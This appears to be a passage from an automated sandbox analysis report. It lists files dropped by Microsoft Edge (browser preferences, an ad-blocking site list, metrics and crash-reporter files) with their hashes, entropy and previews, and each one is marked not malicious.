Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3ad2cb7e-949d-443e-b597-c4390908d819.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46506
Entropy (8bit):	6.086538729040736
Encrypted:	false
SSDEEP:	768:oMkbJrT8IeQc5hKXMfi1zNtmkNGEwNL0LpEq8IQmxgpCio6JDSgzMMd6qD47u30X:oMk1rT8HZKPNGVIQ9Fo6tSmd6qE7N
MD5:	F1DA410CFBB09A21E0F4251CF63215D2
SHA1:	954CA2E14538BDA46662D53BDE8338DE834A8D25
SHA-256:	EF1900E4D7F735E658B0BE762BBB1790004E20E02CF3DE044E4A80415DC37C82
SHA-512:	DF89B982CF42466765F7F13131229EA2C1D7A3EE20734200B88C20FD4E7790BBBAD12F89D88AC62EEDB2B2DD32C1BBB1931507AF25CEC2DF68B085B25D6F887F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13377277051068525","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"05453840-3474-42c0-a7c5-53ebf0dfa18f"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732803455"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3df69f60-dfa3-450e-a2fe-0a3d6fa19ba3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44992
Entropy (8bit):	6.094991603337276
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWcki1zNtmkNGN9wNL0LpEq8KJDSgzMMd6qD47u3+CO:+/Ps+wsI7yOpNGNwKtSmd6qE7lFoC
MD5:	B48D5B2F882E4DCC9EBEF6E0ACAD9A91
SHA1:	677E8A89128137807047BEF972259211B82247F3
SHA-256:	ADAF0272F7A27BFF9ADCB90BC4BC070F31234556450BD27AF3C0D77E84E321BF
SHA-512:	9EEE37007102ECB3129D3AEA9D522EABE65D5E03CF2FDFD6B9FEE93621B6540212F0AEAFEF585B96F91D9F0640B2269F147E566C6902F948D23CA507FD685275
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\897f286d-a3ad-41fb-a8a7-9e7708b699c1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44926
Entropy (8bit):	6.09501898027243
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVki1zNtmkNGNNZbzbc8mKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn2NGNiKtSmd6qE7lFoC
MD5:	33CE53FBBD379CE52EEE3B6D996ADE50
SHA1:	3430E40296FF3E637ACF1EF0F2DD9552DD5AE59B
SHA-256:	62B314A4D431BE4CAE0BC331A6989487910E0A7BF03B499E850334BADF8CCD8B
SHA-512:	EE554E217BAFF4A65669FE4157A57D94DD4D47FD0620CA97B95170A4600C02DFD852652169FFA98EABD009524CE3A6A564B6C095FAA9C5959C67248F6EC30F0B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9d930c9e-84d4-477f-8def-c7643e8f56f9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46382
Entropy (8bit):	6.086995738204231
Encrypted:	false
SSDEEP:	768:oMkbJrT8IeQc5dKXufi1zNtmkNGN9wNL0LpEq8IQmxgpCio6JDSgzMMd6qD47u3g:oMk1rT8H1KxNGNwIQ9Fo6tSmd6qE7N
MD5:	14EB944A316CAF84038AAAFB4E23E33D
SHA1:	ED44726DCA880B1761323E3F47FE4F3EF55BA5A5
SHA-256:	E68426AEF63E9C9D5715F1F9D23A5A32E42A1EE862A619ED520C40CEEC30FCA6
SHA-512:	8FFA17FB6276978201898568EE8CFE6B12BD69E506010FC1A47A9C1D2F30F5F405413E7BD5A6B33BAE420A11923DD0363BE8C674F2C6B8261DD7F31D441D6D28
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13377277051068525","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"05453840-3474-42c0-a7c5-53ebf0dfa18f"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732803455"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\99a7cf95-1249-4d56-a756-226810e931e8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67487B79-1E78.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4585417851035219
Encrypted:	false
SSDEEP:	6144:M7OIWloShkcR3wsYZfCCg9qENyoByGlPIQKb5MjrpWahWj/WB0XaWztQyuxnk8ha:VkcIHgA
MD5:	436519158DA08A3D1EAF3BE537077EA5
SHA1:	6086A6679BAA103F9720F8C3EB35F46FA6BBFCA5
SHA-256:	1252502C0A5DC01027A0C36AA5F190163C6A7E0293B7E2992EC649E033F8C308
SHA-512:	A16812107075EE22BF8B6CF9AF725913055538847A4E647DAC00C4A6A8A9172133559929EE0162FFD7E4048D83B7A4A1AE263D6404474B89A676022FEA76D8D9
Malicious:	false
Preview:	...@..@...@.....C.].....@...................H...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".vgnaih20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2..........~...... .2........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\07c03017-dda7-4acd-91ad-f8819b5c22c5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17635), with no line terminators
Category:	dropped
Size (bytes):	17637
Entropy (8bit):	5.487257039293028
Encrypted:	false
SSDEEP:	384:stfPGQSu4Ns0aCDVARk0vl46pbGDQw/3f:sVOXuyaCmlbG8Ef
MD5:	1E048A007DDB3C8AE5ED2AA1FCB4F9BF
SHA1:	6F2A05DC3E5277AF07643C645704D6A39F249DB8
SHA-256:	A2725AB5F66099F8E9AD99117E976119BC83A339D28EFB1F1F35D680E7A48794
SHA-512:	D872E90687203722FAF5CCC9833579CF80E032C347D101D67ACE3541F3379BFD6EEC22C5A11F73788288AC4D880AF96581807D03DAA763815C0FCB60E51EF094
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377277051010869","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\13a2334f-bcdd-447e-bd20-1a022ddc2c56.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1579675f-c73d-43e7-abca-8f427d19ec16.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13252
Entropy (8bit):	5.276375394147272
Encrypted:	false
SSDEEP:	192:stfJ99QTryDiuabatSuypNs0aaFvrEgAK9k7T4Oeb85BbV+FHjQAPUJPoYJ:stfPGQSu4Ns0aCDVARk6bGDQtf
MD5:	C2BC50A57D2C4CE7DB82C6EA1E123AC8
SHA1:	A1010383F079F203E8CFA52FD8D42FDCBB8F0704
SHA-256:	D50E96419119748EC2003732ED8BF27BAAC8ADF561C6931F7B420D151B74280D
SHA-512:	88F4F773F4C3135A6719756443BE88E279EA17174A893B340FB7FA12807947776EAC0F1AA9A14591BBDA16F621745FCCB72AF309CC67F1D301DB984E094B593E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377277051010869","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\57201a77-25fc-44ab-88e4-101ec9b64ea1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5729789a-9ac6-467c-9570-5f13574a4052.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
